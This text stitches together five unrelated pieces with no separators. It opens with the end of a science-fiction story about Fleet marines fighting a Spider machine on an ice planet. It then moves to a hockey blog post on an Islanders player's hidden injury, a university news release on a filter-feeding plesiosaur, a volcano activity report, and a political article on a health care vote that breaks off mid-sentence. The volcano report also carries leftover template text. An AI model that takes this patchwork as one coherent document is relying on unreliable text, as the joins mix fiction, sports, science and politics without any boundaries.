snow plain, lost but dug in, knowing that all she had to do was stay put and conserve power and keep warm and the others would collect her later. The Fleet left no one behind, not now, not ever. But . . . Come outside. A different voice. Furusawa flinched. Gunnery Sergeant Alonso. “Palladio,” called Furusawa. “Talk to them.” At the other end of her steady pistol, Anderson stood and smiled, his eyes closed. Palladio crouched next to the sergeant. “I can’t.” “Why not?” asked Grec. “Because,” said Palladio, looking up. “Khouri is dead—I can’t sense her. And Alonso isn’t a Psi-Marine. It can’t be them.” Come outside. Khouri’s voice again, echoing inside Grec’s head. Furusawa turned to her, her face pale. “Don’t you get it?” said Anderson. He leapt forward, grabbing the pistol from the distracted Sergeant’s hand. She made a grab towards him, then backed off as she found herself covered by the marine. Anderson waved them all together, until the trio were backed against the rear of the cave. “Anderson, come on,” said Furusawa. Come outside, said the voice in Grec’s head that sounded like Alonso, but wasn’t. “We’ve got to finish the mission,” said Anderson, rictus grin on his face, his free hand rubbing the side of his head. “Darwyn, what are you doing?” asked Palladio, one hand reaching out to his teammate. Come outside, Kat, said the voice in Grec’s head that wasn’t, couldn’t have been Khouri. When the voice spoke, there was a buzzing in the background. The weird interference; the jamming signal. And beneath that, other voices—two, three, four—voices that Grec didn’t recognize, all saying the same thing. Come outside. Anderson’s aim wavered, then he pulled the gun up and rubbed the heel of his hand into the other side of his head, stretching the skin around his face. His eyes were closed in pain. “Make them stop,” he said. “Make them fucking stop.” Furusawa nudged Grec with her elbow. Grec glanced sideways, met the sergeant’s eye, and nodded. She tensed herself, ready to rush forward with the sergeant to disarm and disable Anderson. “Now,” said Furusawa. She powered forward. Grec went to move, but stopped. Furusawa came to a halt, the pistol in Anderson’s hand nearly touching her forehead. “Make them stop,” said Anderson. His face was red, tears streaked down it. “Please, make them stop.” Grec held out her hands. “Drop the gun, Darwyn. Come on.” Anderson shook his head, then it drooped, his eyes closed, and he moaned in pain. Again the gun hand moved up as he rubbed his temple. “You don’t get it, do you? Any of you?” he laughed, and pointed to the corner of the floor that he had dug out during the night. “We’re sleeping with the dead and you don’t even get it.” Grec looked over at the hole. There was something there, under the ice. Not the floor of the cave, but… “Give it up, Marine!” Furusawa ordered. Then Anderson’s head snapped up. He smiled, nodded, looked at each of the other marines in turn. Then he said “Yes, I give up,” put the pistol to the side of his head, and pulled the trigger. They found Psi-Marine Bowen’s body just outside the cave entrance, a single plasma bolt wound on the back of his head. Anderson must have set his sidearm to silent and shot the Psi-Marine while he was watching the darkness outside. Now Bowen’s body lay next to Anderson’s on one side of the cave. First Sergeant Furusawa, Psi-Corporal Palladio, and Private Grec stood around the hole in the ice floor near the opposite wall. Grec had been right. Anderson had found something under the ice, where the heatsticks had begun to melt the cave floor. A body. A Fleet Marine, although his armor was black rather than the standard blue and olive and had no visible insignia. The corpse was only exposed from the shoulders to head, the rest of him still locked beneath the ice. He was one of the Spec Ops team, had to be. He wasn’t wearing his helmet. Instead, his bare head was crowned with a nest of what looked like melted metal, tangled strands of varying thickness webbed over his scalp, trailing down over most of his face. At random points, the metal strands poked into the marine’s skin, tiny spots of dark red leaking out around each entry point. It was hard to see under the ice, but it looked like there was more of the grey webbing wrapped around the rest of his body. It was Grec who broke the silence. “What the hell happened to him?” “The Spider got him,” said Furusawa. Grec raised an eyebrow. She gestured at the body. “What, and stored the body on ice?” “Wait . . .” Grec and Furusawa turned to Palladio. The Psi-Marine had his eyes closed. Without opening them, he began pointing to the floor. “There’re more. Four.” He opened his eyes, then knelt down and scraped at the floor. Here the ice was still frozen, but it was a little soft. Palladio managed to slough a few centimeters of frost off the surface, enough to see something else dark further below. Another body. The Spec Ops team was here, in the cave. Under their feet. Furusawa stood with her hands on her hips. “Can we get them out?” Palladio tapped his temple. “Wait, wait . . . they’re dead. But . . . it’s weird, I can sense their brain activity. There’s not much there, but there’s . . . something. I don’t understand it.” The sergeant pointed back at the partially uncovered body. “Looks like that webbing penetrates the skull. Could it be connected to the central nervous system?” Grec shook her head. “For what?” “That’s the question,” said Furusawa. She stood. “Can you operate the lightspeed transmitter, Private?” “Yes, Sergeant.” “Good. Set it up. It’s time to get a ride home.” It was nearly dawn, the abyssal blackness beyond the cave mouth softening to a pale blue. “Try it again,” said Furusawa. Grec nodded with a sigh, and shifted her position on the ground next to the lightspeed transmitter. The device was a rectangular panel, fifteen centimeters thick, with a handle along one side. The front was studded with big, bulky switches and knobs, designed to be easily operable by the armored gauntlets worn by a marine out on the field. The transmitter was most commonly used as a beacon, bringing in an airstrike, or marking a target for an orbital attack. Or, in emergencies, calling for rescue. The transmitter was more powerful than the comms units built into their combat suits, which were dead anyway. Grec flicked a switch, opening the lightspeed link, and repeated the words she had spoken the first time around. “Blizzard SAR alpha-three-six-six-three to U-Star Hit and Run. Respond please.” She glanced up at the two marines standing over her, then held her breath. She knew what was coming next. She twisted the controls. The rhythmic buzzing filled the cave. The same sound as on the comms, as on the emergency radio. The same signal picked up by Grec’s geophys scanner. The same sound heard by the Psi-Marines. The same sound heard in Grec’s head when the voices of the dead had “spoken.” And here it was on the lightspeed link, stronger than ever. They were cut off, well and truly. A thought occurred to Grec, something she had wondered about when they had first come into the cave. She looked up at the ceiling, then stood from the transmitter and walked over to the wall. She ran her gauntleted fingers across the surface—as she had noticed before, it was hard, glassy, a dark silver-grey. Maybe there was something in the cave itself that was interfering with everything . . . although that was impossible, as there were only a handful of alloys that could block a lightspeed signal . . . “Oh God,” Grec whispered, her hand falling away from the wall. Furusawa stiffened. “What is it?” Grec reached toward the wall of the cave again, then yanked her hand back, as though expecting a shock. She turned to her sergeant. “This isn’t a cave.” “What do you mean?” asked Palladio from behind them. Furusawa reached forward, running her own hand over the wall. Then she scratched at it with the metal tip of her gauntlet, and gasped. “It’s made of herculanium.” “How can a cave be made of herculanium?” asked Palladio, joining them at the wall. “Because it’s not a cave,” said Grec. “It’s an eggshell. We’re standing inside a Spider egg.” Grec held the geophys wand in one hand, her other tightly wrapped around the grip of her rifle, as she stood in the cave’s—in the eggshell’s—entrance. Without the automatic adjustments provided by her helmet, the snow plain was a brilliant white expanse of nothing in the morning light, bright enough to hurt. And without the HUD indicators, they would have to follow the trench back to the drop zone or get lost in the snow. The trench that was carved not just by their own march, but by whatever was out there, hiding somewhere under the surface. The Spider. Grec wondered what it was doing here. Spiders hatched en mass in deep space; not planetside, not alone. Vast asteroid fields comprised entirely of hollow herculanium spheroids were carefully mapped by the Fleet, providing data on Spider population and spread. The hatcheries were also a boon for both the Fleet and private mining companies alike, enterprises which frequently clashed as they moved in to process the eggshells into more manageable herculanium ingots. The metal was something both sides of the war were in need of—the Spiders were made of it, as were the U-Stars of the Fleet. Grec had seen Spider eggshells before—two specimens, one intact, another smaller example split in half, were held by the Fleet Academy on Earth for training. Grec remembered the workshop, being lectured about the Spider lifecycle as the tutor led them around the interior of the divided specimen, a hemisphere ten meters across. The Spider lifecycle was as mysterious as the gestalt’s very origins—how the mechanical, robotic machine creatures were somehow constructed in miniature on a Spider factory planet, billions of baby creatures packaged into eggs which were then scattered into space when the planet was deliberately shattered. The eggs drifted, the Spiders inside growing, building themselves into larger machines of war until they were ready to hatch. An entire division of the Fleet was dedicated to studying this process, hoping to find some flaw, some secret which would enable the Fleet to get the upper hand in a war that was going poorly. But a Spider egg on a planet? It was embedded in the side of the hills, making it mistakable for a natural cavern. It must have crashed, split open, disgorging an undeveloped Spider which, perhaps following a natural instinct, had found protection by burrowing into the snow. It must have been an accidental arrival, because Warworld 3663 was light years from anywhere, and uninhabited—of no interest to the Spiders, and, consequently, of no interest to the Fleet. Except the Fleet had sent a Spec Ops team. A Spec Ops team that the Spider had caught, wrapped in web, and preserved under the ice floor of its old egg. Grec lowered the geophys scanner and turned back to the others in the cave. “They were here to get the Spider, weren’t they Sergeant?” she asked. Furusawa said nothing. Palladio nodded. “And we are too, right? S-A-R wasn’t the mission. The Fleet wants the Spider.” “And,” said Grec, “they’ll just keep sending teams in until they get it.” “Or until they run of out marines.” Grec nodded. “Like they ran out of Spec Ops. They’re too valuable. Better to send in regular marines, with Spec Ops to lead them.” She stepped down off the lip of the entrance and walked up to Furusawa. “Am I getting warmer, Sergeant?” She paused. “At the briefing, you spoke over Commander Weinberg. Is First Sergeant even your real rank?” The geophys scanner bleated. Grec swore and checked the reading, then ran back to the cave entrance. Palladio followed. “What is it?” he asked. Grec pointed the scanner out into the open. The lights still pulsed with the interference from the cave, but the genuine data was too strong to be swamped completely. “It’s moving again,” said Grec. “Shit.” She’d have to leave the questions for later. “We go back to the drop zone, signal for evac.” Furusawa shouldered her rifle and picked up the lightspeed transmitter. “We’ll open a channel when we’re clear of the interference.” Palladio stepped back into the cave. “We go out there, we get eaten.” “Or we stay here and get added to the larder,” said Furusawa. She stopped at the entrance and handed the lightspeed transmitter to Grec, who took it in one hand. “Use the geophys,” said the sergeant. “We can watch it with the scanner, stay out of its way until we can get a signal up. Palladio can scramble the Spider’s sensors with his psi.” “It takes more than one of us to jam a Spider,” said Palladio. “We’ll be dead before we reach the drop zone.” Furusawa flicked the safety off her rifle and the end of the barrel flickered to red. She stepped up to the Psi-Marine. “Just do your job, Psi-Marine, and I’ll do mine.” Grec pointed at the bodies of Bowen and Anderson at the back of the cave. “What about them? And the bodies under the ice? The Fleet doesn’t leave anyone behind, Sergeant.” Furusawa smiled. Grec felt ill. “You’re in the Spec Ops now, Marine. Different rules.” The smile dropped. “We travel parallel to the trench, but stay clear of it. Let’s go.” They ran out onto the snow plain. Out of the herculanium interior of the cave-like eggshell, warmed all through the night by heatsticks, the change in temperature was like a slap in the face. Grec heard Palladio swear behind her even as her own breath caught in her throat, the freezing air threatening to choke her. She stumbled onwards, the First Sergeant—or whatever her real rank was—ahead, plowing a path through the snow that got steadily deeper and deeper the farther they got from the hillside, until just a few meters later it was up to their knees. The augmented strength of the combat suits—the powered joints and motivators by design unaffected by the armor’s offline computer—lessened the effort required to run through the snow, but not by much. If they still had their helmets, Grec thought, and the psi-fi link between their minds and the suits, then the armor would have responded to the task. As it was, they made difficult and slow progress. Then the geophys scanner buzzed in Grec’s hand. Movement, below them. “We’ve got company,” Grec shouted over the crunching schwoosh as they moved through the snow. From behind: “Incoming!”, and then three muffled thuds as Palladio opened fire with his plasma rifle. Grec turned to see the Psi-Marine shooting from the hip as a large area of the ground behind them began to bulge upwards, the snowy covering cracking and sliding apart in great slabs as the Spider stood up from its cover. Palladio swept his rifle up, spreading his shots up the shifting mound of snow. The pulse ammo sparked as it hit something, stripping away more of the ice and snow, revealing the machine rising up out of the ground. Grec fumbled with her own rifle to fire, but with the geophys scanner and the transmitter in hand, she was slow. Before she had brought her weapon to bear, the sergeant grabbed her shoulder and pulled her backwards. “Come on!” Behind, Palladio had ceased fire and was running away from the Spider, which seemed to pause, perhaps getting its bearings. It was silver grey, the same matte color as the herculanium of its egg. The machine’s body was spherical, perhaps ten meters across and formed from individual curved plates which slid and shifted as the thing moved. From between the plates, a red light shone—the light, Grec knew, of the solar plasma that boiled in the creature’s core, a power source held in check within a lattice of magnetic fields. Eight eyes—four large, four small—formed an optical array on the front of the body, surrounded by other stubby sensors and antennae of varying size and length, all made of something black and glassy. Palladio stopped and turned, firing on the enemy machine again. His pulse fire skittered across the machine’s sensor array, but didn’t seem to have any effect. “Scramble it!” Furusawa called out. “Affirmative!” Palladio stopped shooting and lowered his weapon. He stood still, and then after a moment the air was filled with the buzzing, clicking sound. This time it wasn’t just in Grec’s head. It was a real sound, reverberating over the snow plain. Palladio collapsed onto his knees. “I . . . can’t do it. We’re not the only ones needing evac—it’s sending out its own distress call. The signal is swamping everything else.” They were dead, Grec knew it. As if responding to her thoughts, the machine rose higher into the air, eight huge, curved, knife-like legs erupting from the snow, flexing, straightening as they lifted the Spider into the gray sky. Five meters. Ten meters. Twenty. Palladio toppled backwards. Grec dropped the transmitter and leapt forward, reaching for the Psi-Marine laid out in the snow. She got close, nearly close enough to grab one arm and pull, only Furusawa was on her shoulders again. The Sergeant yanked backwards and the pair fell into the snow. “Get off!” yelled Grec through a mouthful of snow. She jabbed an elbow backwards and was met with a cry from underneath her, then she pushed herself back to her knees. “Palladio!” The Spider stood over the Psi-Marine, who lay, unmoving in the snow. The machine’s spherical body rotated backwards a few degrees, until a pyramidal structure on its belly was pointed at the Psi-Marine. “No!” But Grec was helpless. Behind, she heard Furusawa unearthing herself from the snow. The Spider’s mouth opened. The heat was incredible, even from a distance, blasting out in a wide cone from the opening in the machine as its churning plasma core was exposed. Snow and ice vaporized in great clouds of steam around Palladio. He cried out and rolled over to escape the inferno, his face buried in his arms. The Spider lowered its body down, the whole structure leaning forward on the four larger, scythe-like legs, as two of the smaller forward supports—more like articulated arms than legs—reached forward. Grec scrambled in the snow until she had her plasma rifle back in her hands. She raised the sight to her eye and took a deep breath, forcing herself to calm, to make the shot. Their weapons had been useless against the herculanium shell of the machine creature, but there was an opportunity here to hit something far more vulnerable. The furnace-like mouth of the Spider was angled down towards the ground, towards Palladio. Grec’s target was small, but relatively stationary. She opened fire, sending white tracer pulses towards it. The first couple impacted on the surface plates on the front of the Spider, but the next flew true, vanishing into the interior of the machine. At the ends of the Spider’s arms, pincer claws opened, shut, opened, shut. Grec’s shot had no effect. The Spider was unstoppable, even in this immature state. She heard Furusawa order her to run, but the roaring of the Spider’s distress call was deafening and Grec decided that she hadn’t heard her properly. She raised her rifle to her eye again, pressed her cheek against the side of the weapon. Perhaps she could take out the legs, or the arms—maybe the joints were fragile, more susceptible to plasma bolts—before the thing got Palladio. She took aim, trying to track the movement of the creature’s arms, but she was too slow. The pincers grabbed Palladio by the legs, and he cried out as he was pulled backwards. Grec swore, fired, but too high—if she tried for the arm joints now she’d hit the Psi-Marine. Her shots tore up the front center of the machine, dragging a vertical line between the sensor array on the front, but as the impact flashes faded, she could see the shots hadn’t even scratched it. The Spider was oblivious, apparently content with its catch, as it began to sink back into the snow, dragging Palladio with it. The machine’s legs folded in and then the body itself vanished below the ground. Palladio slid backwards, the pincers still around his legs, and then was gone. Soon there was nothing but a mountain of torn-up snow and ice, surrounded by a small lake of steaming melt water. Palladio and the Spider were gone. Grec dropped her rifle, screamed at the sky, then looked over her shoulder. Furusawa had resumed their journey back to the drop zone. Grec grabbed for the lightspeed transmitter, then pushed herself to her feet, using the rectangular box for leverage. Then she trudged after the sergeant, and she kept the safety on her rifle off. Furusawa had stopped, and was looking up at the gray sky like she expected the unbroken cloud layer to part and for salvation to descend from the heavens. Grec could see her body heaving with effort, her breath gathering in a cloud in front of her. Since the Spider had taken Palladio, their journey had been uninterrupted, the geophys scanner silent. Furusawa turned around and Grec raised her plasma rifle. She had it aimed right between the sergeant’s eyes. “You need to tell me about your orders,” said Grec. For her part, Furusawa didn’t react, she just regarded the marine with a smug expression. Grec ground her teeth and kept the rifle level. Perhaps that was to be expected. Spec Ops were different from the rest of the regular recruits, and the two divisions rarely mixed well. “S-A-R, plain and simple,” said Furusawa. It was like she said it as a challenge, a dare for Grec to accept or reject. Grec’s finger curled around the rifle’s trigger. Like Furusawa, she was hot from the run, but the air temperature was perilously low and she knew that out here in the open, without the protection of their helmets, they would freeze to death soon enough. If they weren’t evacuated. If the Spider didn’t get them first. “Fuck S-A-R.” Grec sniffed the frozen air. “Is the Fleet so desperate to capture a Spider in secret they’ll send down a ground team with a false briefing?” Furusawa laughed. “The briefing was accurate. You just weren’t given the whole picture.” Grec moved the rifle forward. “Try me.” The sergeant rolled her lips, then pointed at the transmitter Grec had dumped in the snow. “Get the transmitter set up so we can signal the Hit and Run.” “Tell me what’s going on or we’ll wait here for the Spider to get us.” “Private—” Grec swung her rifle to one side and shot once into the snow, then returned her aim to Furusawa’s forehead. The ground shook. “I don’t think you should have done that,” said the Sergeant. Grec looked around as the air was filled with the buzzing, chirping sound of the Spider distress call. The ground shook again and the snow behind them exploded in shower of white snow and blue ice. The Spider rose up from the ground, its scissor legs unfolding as it stood. Beside Grec, Furusawa dropped to her knee and raised her rifle, taking aim. Grec knocked the barrel down. “Wait!” she said, and pointed. The Spider lowered one of its pincer arms to reveal Palladio, held upright in the machine’s other claw, the two pincers having been cupped together like a protective shell around the marine. From under the machine’s body, hot exhaust from its mouth blasted clouds of steam from the ground as it periodically opened and closed, opened and closed, like the thing was breathing. The Spider stood, rocking slightly on its legs. “Palladio?” Grec called out. “He’s alive!” He was bloody, battered, and had one arm wrapped firmly around his middle. His eyes were closed, like he was concentrating. “I managed to hack its psi as it pulled me under and got it to resurface, but your shot attracted it.” Palladio winced in obvious pain. “Quick. I can’t hold it for long.” “He’s jammed it.” Furusawa lowered her weapon. “Good work, Marine.” She turned to Grec. “Signal the Hit and Run. We’re going to need a cargo hopper—I’ll give you the request code.” “You’ve got to be fucking kidding.” Furusawa ignored her and turned back to the machine. “You wanted to know what my orders were. You might well get the chance to find out.” The Spider shuddered, and there was a change in the tone of its distress beacon. Atop the machine, Palladio shifted and gasped in pain. “It’s a battery, Kat,” he called, his eyes still closed. “It’s using the lost team as a psychic battery to boost its distress beacon.” “What?” “That’s why it took Khouri. It figured out what she was, then came after the rest of us.” Palladio cried out in pain. “It’s trying to use me too . . . I can keep it jammed, but its drawing on the others back at the cave. It’ll break free before help arrives.” The Spider shuddered again and one leg crept forward. Palladio was right, Grec knew. It took whole fireteams of Psi-Marines to jam Spider networks. One Psi-Marine—one injured Psi-Marine—couldn’t last long. Not even against an immature Spider—one that was tapping into the extra psi-power provided by its victims stored under the ice. As if on cue, Palladio gasped and the machine took another step forward. Grec dropped to the snow. Maybe they had a chance, a slim one. She only hoped the Hit and Run was ready and waiting. “No time,” said Palladio, shaking his head. His arm dropped from his middle, revealing cracked combat armor stained scarlet with blood, which trickled down over the optics of the Spider. “No time.” The transmitter was ready. Grec looked up, saw the Sergeant raise her rifle. The Sergeant fired, not at the Spider, but at Palladio. His body jerked as the plasma round hit him, then he slumped forward. Grec rushed toward Furusawa, taking the sergeant out in a tackle. They toppled sideways; as soon as Furusawa hit the ground, Grec pushed herself to her knees, wrenching the sergeant over on to her back, and pulled her gauntleted fist back for a punch. The air was suddenly still, quiet. Grec looked up. The Spider’s beacon had shut down, and the machine itself dimmed, the red light shining from between the moving body plates fading. The mouth on the underside closed, and the Spider fell, its legs collapsing. Grec cried out in surprise and dived to the side, grabbing for Furusawa as she did so, but the Sergeant was heavy in her combat armor and as the Spider’s body collided with the ground, Grec was thrown into the air. She landed back in the snow, filling her mouth, nose, eyes. She coughed, gasped, tried to get herself upright. She slid again, and managed to roll over and look back. The Spider had fallen clear of Furusawa, but the sergeant wasn’t moving. Grec crawled back to her, then saw the snow underneath the sergeant was quickly turning red. Embedded in the sergeant’s chest was a long, curved piece of metal, part of one of the Spider’s pincer claws. Furusawa’s eyes were open, and she stared at the sky, looking for the rescue that had never come. She’d found Palladio’s body lying a few yards away, thrown clear from the falling Spider. She dragged him and the sergeant away from the wrecked Spider, which lay smoking in the slushy snow. The sergeant had made the right decision. Grec knew this, even though she wasn’t sure she would have been able to do it herself. Despite being dragged under the snow and injured, Palladio had reached out with his mind to jam the Spider’s AI. The only way to prevent the Spider from burning out his mind and then killing Grec and the sergeant was to kill him. Suddenly breaking the psychic link—a link amplified by the minds of the dead marines the Spider was using as a battery—would send a shockwave back to the Spider, enough to fry its CPU. Furusawa had realized this and took the decision, one that would have saved her had Grec not intervened. Had Grec not intervened. She’d searched Furusawa’s body, found nothing out of the ordinary. No sealed orders, no secret ID card that revealed her true rank and identity. As far as the official record would go, she was just a First Sergeant in the Fleet Marine Corps. Killed in action, Warworld 3663. The Omega classification could be removed, at least. Grec knelt in the snow and activated the transmitter. Now clear of interference from the Spider’s beacon, the transmitter’s signal light shone bright blue, and the device began to softly beep. Fleet Marine Private Katarina Grec knelt in the snow. She thought of Alonso and Bowen and Palladio. She thought of Anderson, and of the secrets that had died with Furusawa. She thought about the Fleet and how fucked up it was and how maybe she didn’t want to be part of it, not anymore. She thought of Maryam Khouri and she looked up into the sky, and she waited for rescue. “Cold War” copyright © 2014 by Seven Wonders Limited Art copyright © 2014 by Victor Mosquera -Nov 1, 2016; Brooklyn, NY, USA; New York Islanders left wing Andrew Ladd (16) is taken down as he plays the puck against the Tampa Bay Lightning during the second period at Barclays Center. Mandatory Credit: Brad Penner-USA TODAY Sports The New York Islanders don’t reveal much information on player injuries. What little we do get is vague. For instance, GM Garth Snow casually dropped that Andrew Ladd was hurting for months, and that was the reason for his scratch. No mention of the specific ailment in his statement. No follow-up from the press. I was watching the Islanders -Kings game this past Saturday night. Not so unusual for a New York Islanders blogger. Since I live in Los Angeles I was watching the King’s feed. And something amazing happened a few minutes into the game. Jim Fox and Chris Cuthbert were doing the game. Cuthbert, filling in for Bob Miller, is fantastic. One of the best in my book. Though I admit to being partial to hearing a Canadian accent calling a game. Anyway, early in the first Fox is discussing the New York Islanders scratches for the night and says the most amazing thing. “Andrew Ladd is out with a lower back injury. He first hurt his back during training camp and it hasn’t been right all year” Uhh…Come Again? What? Did you know that? Garth Snow finally mentioned a nagging injury last week but didn’t specify it at all. Why didn’t the Islander’s own color guy, Butch Goring, ever gives this piece of info? He is not an employee of the Islanders. He shouldn’t fear the wrath of Garth… much. Where was Arthur Staple on this? I think he does a great job, but if the info is out there for Jim Fox, how can Arthur not stumble upon it? When Staple gets unfairly dumped on for not being more critical he likes to answer that he is a reporter and not a columnist. Well, if he is a reporter, than he needs to report. I am sympathetic to the idea that a person’s medical records are private, and should not be divulged without permission. But there is an implicit sacrifice of privacy when you become a professional athlete. Your physical condition, as it might affect performance, is fair game. I don’t want to know who has a hangnail, or premature hair loss (and that’s just the H’s). What I want, and expect, is that the people who are empowered with the sacred (yeah, alright, that’s hyperbole) duty to ask the question and chase the answers. Staple and Cygalis aren’t expected to be Woodward and Bernstein. I don’t expect them to meet a source in a dark underground parking garage. They don’t need three sources before they go to print. But did anyone even ask the question about Ladd’s injury? Did they put any effort into finding an answer? Or have years of a Kim Jung Snow style regime beaten them into intellectual submission on the injury disclosure issue? But aye, here’s the rub. If this medical information is so closely held, how the hell did Fox get it? I sent him an email to ask the question. No response yet. -Copyright 2019 Nexstar Broadcasting, Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed. Image from Texas Tech LUBBOCK, TX (NEWS RELEASE) - In 1984, Sankar Chatterjee – curator of paleontology for the Museum of Texas Tech University – and his student, Bryan Small, made an astounding discovery. Working on Seymour Island in Antarctica, they uncovered the fossilized skull of an animal they’d never seen before. While it was obviously a plesiosaur – a Cretaceous-period marine reptile scientists first discovered in the early 1600s – this plesiosaur was unlike any previously found. They named the new species Morturneria and brought its skeleton back to the Museum of Texas Tech. Now, 33 years later, Chatterjee and his team have made a new discovery about Morturneria, one that adds a whole new dimension to science’s understanding of plesiosaurs – and larger than that, to the understanding of evolution itself. More than 65 million years ago, the Earth’s oceans were populated with many animals still found there today, like fish, krill and sharks. But one of the oceans’ biggest predators, the plesiosaurs, went extinct at the same time as the dinosaurs on land. “Often, plesiosaurs are called sea monsters,” said Chatterjee, a Horn Professor in the Department of Geosciences. “They were large – 50 feet long, superb swimmers and occupied the top of the marine food chain. Although dinosaurs are very familiar to everyone, during their days, the sea was ruled by these monster-like plesiosaurs. Like dinosaurs on land, they dominated the sea from Arctic to Antarctic waters. ” Plesiosaurs had a broad, flat body and short tail, four long flippers they used to “fly” through the water, long necks and very sharp teeth. “The teeth of most plesiosaurs are conical, stout, sharp, robust and ideal for stabbing and killing large animals,” Chatterjee said. But as he wrote in his 1984 paper announcing Morturneria’s discovery, “the long, slender and delicate teeth may have formed a ‘trapping’ device that enabled (the animals) to feed on small fish and crustaceans that abound in the same deposits.” This notation led an international team of Chilean, Argentinian and American paleontologists to take a closer look at Morturneria’s teeth. “In our 1984 paper, we described the unusual teeth of Morturneria and their probable function,” he said. “However, our new international team, who had worked on plesiosaurs from many continents, found them fascinating and unique.” Chatterjee and the team reconstructed Morturneria with a large, round head, a huge mouth and tiny teeth that point the wrong way. The teeth did not meet tip to tip as in all other plesiosaurs, but lay together in a battery that strained food particles from the water. “When the jaw was closed, teeth from the upper and lower jaws formed a nice trap,” Chatterjee said. “Basically, the animal would swallow a school of krill, close the jaws to let the water out, but keep the krill inside for chewing and swallowing. With these kind of interdigitating delicate teeth, the animal could not tackle the large fish or shelled animals (called ammonites) that were the favorite foods of most plesiosaurs.” The team’s finding, published in the new issue of the Journal of Vertebrate Paleontology, is that Morturneria used a filter-feeding method. This feeding style is unknown in other marine reptiles but is found in today’s baleen whales. F. Robin O’Keefe of Marshall University was the article’s lead author. The identification of Morturneria’s whale-like filter feeding is a startling case of convergent evolution between reptiles and mammals. Plesiosaurs and whales shared many of the intervening steps in the evolution of this feeding style and their extreme morphologies are similar despite arising from different ancestors. Chatterjee stresses convergent evolution does not imply Morturneria was in any way related to today’s baleen whales; it just means they both evolved the same way. “They had adopted similar lifestyle and feeding,” he said. “For example, birds and bats fly, but birds are now considered dinosaurs and bats are mammals. These superficial similarities of lifestyles and behavior are called ‘convergent evolution.’” (News release from Texas Tech) -Created Last update By This (almost) daily post intends to follow up the activity changes of volcanoes all over the world. This post is written by geologist Rodger Wilson who specializes in Volcano seismicity and Armand Vervaeck. Please feel free to tell us about new or changed activity if we haven't written about it. - April 28, 2013 volcano activity We start our daily overview with another great video from yesterday's Etna (Sicily, Italy) Paroxysm (short powerful eruption) KVERT reported no significant changes in eruptive/seismic at the five active Kamchatkan volcanoes: Tolbachik, Sheveluch, Bezymianny, Kizimen, and Karymsky. Seismicity at Gorely volcano, which presently exhibits a high level of hydrothermal activity, remains at a moderate level. Small shallow earthquakes continue in varying daily numbers at Iliamna volcano (Alaska Range) (station INE). Several small earthquakes occurred at/near Mount Rainier (Cascade Range) (WA) (station RCS) and Mount Saint Helens (station VALT) today. Seismic data from Colima volcano (Mexico) continue to be unavailable. The Colima volcanocam showed no obvious surface activity when viewed a few hours ago. Exhalations occurred at an average rate of nearly two events per hour at Popocatepetl volcano overnight. An exceptionally large outburst took place at the volcano earlier today and launched an ash-laden plume to over a kilometer in height above the cone. The Popo seismogram continues to show mainly low-level volcanic tremor occurring within/beneath the cone. Volcanic tremor is high at Pacaya volcano (Guatemala) (station PCG) at this time, but surface activity has been relatively low. Small strombolian explosions, incandescent rockfalls from the snout of the newly extruded lava flow, and nearly continuous "locomotive sounds" characterize activity at Fuego volcano (station FG3) today. Small vulcanian explosions have recently increased from the Caliente dome at the Santiaguito Dome Complex (Santa Maria volcano ) (station STG3), some are visible on today's Santiaguito seismogram. Volcanic tremor remains slightly elevated at San Cristobal volcano (Nicaragua) (station CRIN). Magnitudes of seismic events at Telica volcano (station TELN) have increased overnight, but their rate of occurrence has been only slightly above the "normal" high background level observed at the volcano. Volcanic tremor at Masaya volcano (station MASN) remains unstable, but has generally declined in amplitude over the past few days. Higher-than-normal magnitude volcanic earthquakes continue at San Miguel volcano (El Salvador) (station VSM). Local earthquakes and hydrothermal "noise" continue at Poas volcano (Costa Rica) (station POA2) today. Seismicity remains unstable at Nevado Del Ruiz volcano (Colombia) (station OLLZ). Small earthquakes affect Sotara (station SOSO) and Cumbal (station MEVZ) volcanoes, and pulses of gas (and ash) emission tremor have recently appeared on seismograms at Galeras volcano (station CUVZ). Eruptive activity has re-commenced at Tungurahua volcano (Ecuador) (station RETU) less than two days after we noted an increase in seismicity (see yesterday's report) at the volcano. Small earthquakes continue, though with reduced amplitudes today, at Cotopaxi volcano (station CO1V). Co-eruptive(?) seismicity has increased at Reventador volcano (station CONE) since yesterday. Volcanic tremor continues its slow decline at White Island volcano (New Zealand), but surface hydrothermal activity remains strong there. OMI satellite data have not been updated during the past few days (another victim of "The Sequester"?). Volcanic "hotspots" were identified in MODIS satellite images of Tolbachik, Fuego, Etna and Stromboli (Italy), and Batu Tara (eastern Java) volcanoes. zTime goes here -President Trump has demanded that the House of Representatives vote on the Republican health care bill Friday, even though he doesn’t have the votes lined up. If the vote is taken and the bill goes down, it will be a tremendous political embarrassment to the new administration. But if this gambit works, it will be remembered as a bold legislative play that paid off — albeit in the service of a deeply flawed and extremely unpopular bill that may never get out of the Senate. Whatever happens, it’s worth noting that this is a deeply unusual legislative strategy. The usual practice for big, controversial bills like this is for congressional leaders to ensure they have votes in hand — or at least really close to in hand — before actually taking the vote. Then when leaders are confident they have or are close to getting juuust enough votes to get the bill through, they actually hold the vote. Nancy Pelosi, for one, was a master of this strategy during her speakership, which resulted in several very narrow House victories on top Obama agenda items in his first two years. Why most leaders get the votes before taking the vote This practice is the norm in part because it’s simply embarrassing for a leader and a president to bring up a bill and have it fail. More broadly, though, it’s done because party leaders generally want to protect their party members, and particularly their members in swing districts, from casting tough votes unless it’s totally necessary. Voting for an intensely controversial bill like the American Health Care Act is politically painful, particularly for members of Congress in vulnerable districts. These votes can be used against them in attack ads and hurt their reelection campaigns. Still, if members of Congress take a tough vote and the bill becomes law, at least they’ve achieved something. The worst outcome for a leader, though, is if you force your members to take a tough vote and then the bill fails anyway. Then you’ve forced them to stick their necks out for no benefit, and made them more vulnerable to attacks in the next election. This is exactly what happened in 1993 when House Democrats voted to pass Bill Clinton’s “BTU tax” on energy, a bill that died in the Senate. And even Pelosi let it happen once in 2009, when a fair number of Democrats in vulnerable districts voted for a cap-and-trade bill that, again, died in the Senate. In both cases, many of those Democrats then lost their seats — and their party lost the House — in the next midterm election. (“Getting BTUed” briefly became a fairly common phrase on the Hill.) And both of those bills at least got through the House; casting a vote for an unpopular proposal that ends up failing in the House seems like even more pointless. Savvy party leaders want to avoid that bad outcome, so they generally try to only hold a tough vote if they’re confident they can get the bill across the finish line, at least in their chamber. Harvard professors David King and Richard Zeckhauser demonstrated this with a clever 2003 paper that shows that on controversial congressional votes, “small victories” are a far more common result than “small defeats.” That’s in large part because if leaders figure out advance that they’re headed to a narrow defeat on a vote, they preempt that outcome by not holding the vote at 